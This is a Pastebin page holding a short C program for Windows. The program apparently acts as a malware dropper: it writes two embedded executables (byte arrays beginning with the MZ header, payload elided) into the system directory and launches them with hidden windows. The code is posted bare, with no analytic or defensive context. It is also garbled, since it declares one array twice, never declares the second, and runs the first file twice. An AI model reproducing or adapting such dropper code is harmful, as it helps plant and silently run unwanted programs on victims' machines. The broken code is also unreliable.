Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <stdio.h>
- #include <stdlib.h>
- #include <process.h>
- #include <windows.h>
- const unsigned char hex1[] = {0x4D,0x5A,...,0x5A};const unsigned char hex1[] = {0x4D,0x5A,...,0x6A};const unsigned int len1 = 65536;const unsigned int len2 = 76636;
- int main()
- { HANDLE file; char sysdir[MAX_PATH]; char newfile1[MAX_PATH]; char newfile2[MAX_PATH]; DWORD written; GetSystemDirectory(sysdir, MAX_PATH); sprintf(newfile1, "%s\\%s", sysdir, "newfile1.exe"); sprintf(newfile2, "%s\\%s", sysdir, "newfile2.exe"); file = CreateFile(newfile1,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0); WriteFile(file,hex1,len1,&written,0); CloseHandle(file); ShellExecute(0, "open",newfile1 ,NULL, NULL, SW_HIDE); file = CreateFile(newfile2,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0); WriteFile(file,hex2,len2,&written,0); CloseHandle(file); ShellExecute(0, "open",newfile1 ,NULL, NULL, SW_HIDE); ExitProcess(0); return 0;}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement